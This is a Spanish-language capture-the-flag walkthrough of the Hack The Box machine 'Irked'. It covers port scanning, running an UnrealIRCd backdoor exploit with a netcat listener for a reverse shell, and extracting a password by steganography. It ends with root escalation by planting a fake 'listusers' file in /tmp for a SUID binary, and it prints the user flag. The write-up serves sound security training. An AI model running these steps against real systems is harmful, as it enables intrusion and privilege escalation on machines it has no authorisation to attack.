1. Escaneo de puertos general
Primero realizamos un escaneo de todos los puertos para ver cuales están abiertos.
$ sudo nmap -sS -p- --min-rate 5000 -vvv -n -Pn 10.10.10.117 -oG allports
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
111/tcp open rpcbind syn-ack ttl 63
6697/tcp open ircs-u syn-ack ttl 63
8067/tcp open infi-async syn-ack ttl 63
58282/tcp open unknown syn-ack ttl 63
65534/tcp open unknown syn-ack ttl 63
2. Escaneo específico de puertos
Una vez tenemos los puertos abiertos realizamos un escaneo más específico de los servicios que corren en ellos y sus versiones.
$ nmap -sCV -p22,80,111,6697,8067,58282,65534 10.10.10.117 -oN escaneo
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
| ssh-hostkey:
| 1024 6a:5d:f5:bd:cf:83:78:b6:75:31:9b:dc:79:c5:fd:ad (DSA)
| 2048 75:2e:66:bf:b9:3c:cc:f7:7e:84:8a:8b:f0:81:02:33 (RSA)
| 256 c8:a3:a2:5e:34:9a:c4:9b:90:53:f7:50:bf:ea:25:3b (ECDSA)
|_ 256 8d:1b:43:c7:d0:1a:4c:05:cf:82:ed:c1:01:63:a2:0c (ED25519)
80/tcp open http Apache httpd 2.4.10 ((Debian))
|_http-server-header: Apache/2.4.10 (Debian)
|_http-title: Site doesn't have a title (text/html).
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100024 1 35364/tcp6 status
| 100024 1 39038/udp status
| 100024 1 49220/udp6 status
|_ 100024 1 58282/tcp status
6697/tcp open irc UnrealIRCd
8067/tcp open irc UnrealIRCd
58282/tcp open status 1 (RPC #100024)
65534/tcp open irc UnrealIRCd
Service Info: Host: irked.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
3. Reconocimiento del servicio HTTP
En el puerto 80 (HTTP), podemos ver solo una imagen que dice que el servicio IRC está funcionando.
4. Búsquedas de vulnerabilidades en los servicios
Buscando uno de los servicios abiertos sobre el IRC anteriormente comentado vemos que hay un Backdoor sobre ese servicio.
5. Fase de Explotación
Para poder user el exploit es importante modificar tanto la ip local como el puerto para que se ejecute correctamente.
$ python3 exploit.py 10.10.10.117 6697 -payload python #Esto en una terminal
$ nc -lvnp 4444 #Esto en otra terminal
listening on [any] 4444 ...
connect to [10.10.14.33] from (UNKNOWN) [10.10.10.117] 60976
ircd@irked:~/Unreal3.2$
Una vez estamos dentro vemos que somos el usuario ircd. Pese a ello podemos entrar en el directorio del usuario djmardov y leer archivos.
Entramos en el directorio Documents y vemos un archivo oculto llamado “.backup”. El cual contiene una palabra secreta para esteganografía.
6. Esteganografía
Al descargar la imagen del servicio HTTP, le podemos hacer un pequeño ejercicio de esteganografía para ver si tiene archivos ocultos usando la contraseña anteriormente dada y efectivamente hay un archivo “pass.txt”.
$ steghide extract -sf irked.jpg
Anotar salvoconducto:
anot� los datos extra�dos e/"pass.txt".
7. Intrusión al usuario
Y como era de esperar era la contraseña para el usuario djmardov para ssh. Y podemos leer el “user.txt”.
djmardov@irked:~$ cat user.txt
d238d8eb948f084a44836abe17d1b658
8. Escalada de Privilegios
La escalada de privilegios es bastante sencilla, buscamos archivos con permisos suid para el usuario djmardov desde la raíz y vemos un binario que no es frecuente.
Al ejecutarlo vemos que realiza a una llamada a un archivo que no existe, por lo que podemos crearlo nosotros mismos y más facil aún siendo desde el directorio “/tmp”.
Creamos el archivo “listusers” y le otorgamos permisos de ejecución. Y estaremos logeados como root sin más problema. Pudiendo además leer el archivo con la flag “root.txt”.
echo "/bin/bash" > /tmp/listusers
chmod u+x /tmp/listusers
¡Espero que os haya gustado el writeup y que os haya servido! ¡Hasta la próxima!